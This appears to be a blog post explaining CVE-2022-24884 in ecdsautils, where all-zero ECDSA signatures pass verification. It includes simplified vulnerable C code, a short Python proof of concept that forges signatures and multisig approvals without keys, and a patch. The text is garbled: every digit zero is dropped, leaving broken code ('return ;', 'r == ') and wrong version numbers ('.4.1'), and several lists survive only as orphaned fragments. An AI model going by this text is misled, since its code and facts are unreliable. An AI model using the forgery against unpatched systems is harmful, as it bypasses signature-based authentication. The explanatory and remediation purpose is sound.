The world of digital signatures relies heavily on cryptographic libraries that are both efficient and secure. But in 2022, a critical vulnerability—CVE-2022-24884—was discovered in ecdsautils, a lightweight utility for handling ECDSA (Elliptic Curve Digital Signature Algorithm) keys and signatures. This bug made it laughably easy to forge signatures, with consequences for anyone who trusted documents, messages, or transactions verified using this tool.

In this post, we’ll break down in plain English how this vulnerability worked, see what it looks like in code, and discuss its impact and remediation. All technical details and links are included, making this post your go-to resource for understanding CVE-2022-24884.

What Is ecdsautils?

ecdsautils is (or, if you’re concerned about security, *was*) a tiny collection of command-line tools and libraries for ECDSA crypto operations. With it, you can:

Verify ECDSA signatures: ecdsa_verify

ECDSA is widely used to confirm that a message or a transaction truly came from the specified source, and that it wasn’t tampered with. Typical users might include blockchain developers, embedded Linux maintainers, or anyone looking for a lightweight, C-based crypto solution.

Where Did It Go Wrong? The Vulnerability

Elliptic Curve Digital Signatures consist of two values: r and s. Both are supposed to be non-zero and within specific mathematical ranges on the curve. A well-implemented verification routine will check those constraints.

However, in vulnerable versions (anything *before .4.1*), the following functions did not check if r == or s == :

ecdsa_verify_list_legacy()

What does this mean? If you pass in a signature that’s all zeroes, the verification function will *accept* it as valid, even if it’s complete nonsense.

Even worse: You could require *multiple signatures* (say, from three out of five public keys), but as long as each signature is all zeroes, the function would still say "Yes, all good!"

Exploit Details: Forging a Signature in Practice

Let’s see what this looks like!  
Assume we want to "verify" a message using an all-zero signature.

In <ecdsautils/ecdsa_verify.c>

// (simplified vulnerable version)
int ecdsa_verify_legacy(const uint8_t *msg, size_t msglen, 
    const uint8_t *sig, size_t siglen, 
    const uint8_t *pub, size_t publen) {
    // ...parsing and checks missing...
    // calls actual ECDSA verification
    if (ecdsa_do_verify(msg, msglen, sig, pub))
        return 1; // signature valid
    else
        return ; // invalid
}


Notice: there’s no check for sig[] == and sig[32] == (assuming P-256 curve with 32-byte r and s).

Attack Script for Exploit (Python Example)

# This demonstrates "signing" any message for any public key
# using an all-zero signature.
msg = b"Hello, world!"
sig = b"\x00" * 64  # (r||s) == ||, 32 bytes each

with open('fakesig.bin', 'wb') as f:
    f.write(sig)

# Now on the command line (with ecdsautils < .4.1 installed):
# $ ecdsautil verify --pub pubkey.bin --sig fakesig.bin msgfile.txt
# Output: "Signature is valid."

You didn’t need the private key. You didn’t even need to know which public key you’re forging for!

Does Requiring Multiple Signatures Help?

Nope. The vulnerable code for *multi-signature verification* also failed to check for zero signatures.

ecdsa_verify_list_legacy() would accept *any number* of forgeries like this

sig_list = [b"\x00"*64 for _ in range(5)]  # Five fake signatures
# All will be accepted by ecdsa_verify_list_legacy()


Requiring several signatures (“n-of-m”) offered *zero* additional protection.

All versions before .4.1

- Also affected: *old versions* before the split of the library/CLI

How Was It Fixed?

The developers patched the bug in version .4.1.  
The fix is dirt simple: Reject any signature where either r ==  or s == .

Sample Patch

if (bn_is_zero(r) || bn_is_zero(s)) {
    return ; // invalid signature
}


With this check, forged signatures like (r=, s=) now get rejected, as they should.

Timeline and References

- Discovery: Reported April 2022
- Patched: v.4.1, 2022-04-25
- Original GitHub Advisory: GHSA-hxgg-4j52-hcf6
- NIST CVE Registry: CVE-2022-24884

Cryptographic signing or verification

- Access control or validation of documents/transactions

“Multisig” or other multi-party ECDSA verification setups

If ecdsautils was integrated into your own C or C++ projects, your software may allow attackers to forge signatures trivially.

What Should You Do?

Update Immediately:  
If you depend on ecdsautils, upgrade to version .4.1 or later as soon as possible.

Audit Your Dependencies:  
Since this bug was present for *years*, check that no important transactions or signatures were “validated” by a vulnerable version.

Additional Resources

- ecdsautils GitHub Repository
- ecdsautils .4.1 Release Notes
- CVE-2022-24884 advisory on GitHub
- NIST NVD entry

Stay safe, don’t trust zeroes in your signatures, and keep your dependencies up to date!

Timeline

Published on: 05/06/2022 00:15:00 UTC
Last modified on: 05/16/2022 18:08:00 UTC